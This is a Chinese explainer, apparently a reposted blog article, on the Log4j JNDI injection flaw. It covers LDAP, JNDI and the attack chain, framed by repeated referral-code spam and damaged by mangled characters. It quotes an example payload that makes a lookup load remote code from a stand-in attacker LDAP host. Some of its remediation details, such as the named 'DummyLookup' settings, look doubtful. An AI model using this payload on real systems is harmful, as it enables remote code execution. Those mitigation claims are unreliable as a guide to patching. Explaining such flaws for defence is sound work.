柚子快報(bào)邀請碼778899分享:log4j jndi注入漏洞
柚子快報(bào)邀請碼778899分享:log4j jndi注入漏洞
1.log for java: log4j Java程序日志監(jiān)控組件:學(xué)習(xí)Java日志框架之——搞懂log4j_logf4j-CSDN博客
2.LDAP:輕量級目錄訪問協(xié)議:【TCP/IP協(xié)議】LDAP,輕型目錄訪問協(xié)議(Lightweight Directory Access Protocol)-CSDN博客
是一種用于訪問、管理和查詢分布式目錄服務(wù)的協(xié)議。LDAP(輕量目錄訪問協(xié)議)是一個(gè)應(yīng)用層協(xié)議,用于訪問和維護(hù)分布式目錄信息服務(wù)。它建立在TCP/IP協(xié)議棧上的應(yīng)用層協(xié)議之一。LDAP通常運(yùn)行在TCP端口389上(以及SSL/TLS加密的安全LDAP版本LDAPS運(yùn)行在636端口上),用于查詢和修改由X.500目錄服務(wù)協(xié)議定義的目錄信息。 廣泛應(yīng)用于企業(yè)、組織以及互聯(lián)網(wǎng)服務(wù)提供商(ISP)等場景,為身份驗(yàn)證、訪問控制、目錄查詢和數(shù)據(jù)管理等功能提供支持。
????????????????典型用途:統(tǒng)一登錄等
??????????????????????
3.JNDI:java naming and directory interface (java 命名和目錄接口)
JNDI 提供統(tǒng)一的客戶端 API,通過不同的JNDI服務(wù)供應(yīng)接口(SPI)的實(shí)現(xiàn),由管理者將 JNDI API 映射為特定的命名服務(wù)和目錄系統(tǒng),使得 Java 應(yīng)用程序可以和這些命名服務(wù)和目錄服務(wù)之間進(jìn)行交互。 通俗的說就是若程序定義了 JDNI 中的接口,則就可以通過該接口 API 訪問系統(tǒng)的命令服務(wù)和目錄服務(wù) JDBC連接數(shù)據(jù)庫的弊端
1、參數(shù)變動(dòng)引發(fā)URL修改 2、數(shù)據(jù)庫產(chǎn)品切換,驅(qū)動(dòng)包修改 3、連接池參數(shù)的調(diào)整 JNDI命名服務(wù):
用于根據(jù)名字找到位置、服務(wù)、信息、資源、對象 1、發(fā)布服務(wù)bind 2、查找服務(wù)lookup 用name替代數(shù)據(jù)源 JNDI動(dòng)態(tài)協(xié)議轉(zhuǎn)換
當(dāng)我們調(diào)用lookup()方法時(shí),如果lookup方法的參數(shù)像demo中那樣是一個(gè)uri地址,那么客戶端就會(huì)去lookup()方法參數(shù)指定的uri中加載遠(yuǎn)程對象 JNDI Naming Reference命名引用
當(dāng)有客戶端通過lookup("refObj")獲取遠(yuǎn)程對象時(shí),獲取的是一個(gè)Reference存根(Stub),由于是 Reference的存根,所以客戶端會(huì)現(xiàn)在本地的 classpath中去檢查是否存在類refClassName,如果不存在則去指定的url動(dòng)態(tài)加載。
4.jndi注入原理:?? 詳細(xì)見:https://www.cnblogs.com/LittleHann/p/17768907.html
當(dāng)開發(fā)者在定義 JNDI 接口初始化時(shí),lookup() 方法的參數(shù)被外部攻擊者可控,攻擊者就可以將惡意的 url 傳入?yún)?shù),以此劫持被攻擊的Java客戶端的JNDI請求指向惡意的服務(wù)器地址,惡意的資源服務(wù)器地址響應(yīng)了一個(gè)惡意Java對象載荷(reference實(shí)例 or 序列化實(shí)例),對象在被解析實(shí)例化,實(shí)例化的過程造成了注入攻擊。不同的注入方法區(qū)別主要就在于利用實(shí)例化注入的方式不同。 Log4j JNDI注入漏洞的原理主要涉及到攻擊者利用Log4j日志庫中的一個(gè)功能,即允許在日志消息中嵌入JNDI引用。這樣的話,當(dāng)應(yīng)用程序記錄包含惡意JNDI引用的日志時(shí),Log4j會(huì)嘗試解析并執(zhí)行這些引用。
漏洞原理包括以下幾個(gè)步驟:
惡意日志消息構(gòu)造:攻擊者構(gòu)造一個(gè)惡意的日志消息,其中包含惡意的JNDI引用,例如${jndi:ldap://attacker.com:12345/Exploit}。 Log4j解析日志消息:應(yīng)用程序使用Log4j記錄這條惡意的日志消息。當(dāng)Log4j解析這條消息時(shí),它會(huì)嘗試解析JNDI引用。 JNDI引用解析:如果Log4j配置允許解析JNDI引用,并且在解析時(shí)沒有進(jìn)行適當(dāng)?shù)倪^濾或限制,那么Log4j將會(huì)嘗試執(zhí)行JNDI引用所指向的位置,比如LDAP服務(wù)器。 遠(yuǎn)程JNDI查詢:攻擊者在惡意構(gòu)造的JNDI引用中指定一個(gè)惡意的JNDI服務(wù),比如一個(gè)惡意的LDAP服務(wù)器。當(dāng)Log4j解析這個(gè)JNDI引用時(shí),它會(huì)嘗試連接到攻擊者控制的惡意LDAP服務(wù)器。 惡意響應(yīng)返回:攻擊者控制的惡意LDAP服務(wù)器返回一個(gè)惡意響應(yīng),其中可能包含惡意代碼,例如Java遠(yuǎn)程代碼執(zhí)行Payload。 遠(yuǎn)程代碼執(zhí)行:應(yīng)用程序收到惡意響應(yīng)并執(zhí)行其中的惡意代碼,導(dǎo)致遠(yuǎn)程代碼執(zhí)行漏洞被利用。
5.Log4j漏洞修復(fù)
5.1升級到受影響版本的修復(fù)版: (1)對于Apache Log4j 2.x 用戶,建議升級到2.17.0版本以上。這些版本修復(fù)了漏洞,并包含其他安全增強(qiáng)措施。 (2)對于Apache Log4j 1.x 用戶,目前官方并未針對1.x版本提供官方修復(fù)版。建議升級到Log4j 2.x版本,或者考慮使用其他日志記錄庫。
5.2阻止使用JNDI來加載遠(yuǎn)程資源: 如果您無法立即升級到修復(fù)版本,可以通過在Log4j配置中禁用使用JNDI來加載遠(yuǎn)程資源來減少風(fēng)險(xiǎn)??梢酝ㄟ^在log4j2.xml文件中將JndiLookup類從配置中移除或設(shè)置為安全的FallbackJndiLookup或DummyLookup來實(shí)現(xiàn)。
5.3啟用安全策略: 為了進(jìn)一步減少潛在的風(fēng)險(xiǎn),應(yīng)該考慮啟用安全策略來限制代碼執(zhí)行??梢酝ㄟ^在log4j2.xml文件中添加安全策略配置來實(shí)現(xiàn)。
5.4清除受影響系統(tǒng)的緩存: Log4j有一個(gè)緩存機(jī)制,可以存儲已解析的XML配置。為了確保新的配置生效,您可能需要清除緩存??梢酝ㄟ^清除 Log4j 的上下文選擇器緩存來實(shí)現(xiàn)。
除了以上方法外,了解并關(guān)注官方發(fā)布的漏洞修復(fù)和更新是非常重要的,因?yàn)樵撀┒吹募?xì)節(jié)和修復(fù)程度可能會(huì)發(fā)生變化。推薦遵循安全最佳實(shí)踐,并隨時(shí)關(guān)注官方漏洞通告和安全更新。
柚子快報(bào)邀請碼778899分享:log4j jndi注入漏洞
參考文章
本文內(nèi)容根據(jù)網(wǎng)絡(luò)資料整理,出于傳遞更多信息之目的,不代表金鑰匙跨境贊同其觀點(diǎn)和立場。
轉(zhuǎn)載請注明,如有侵權(quán),聯(lián)系刪除。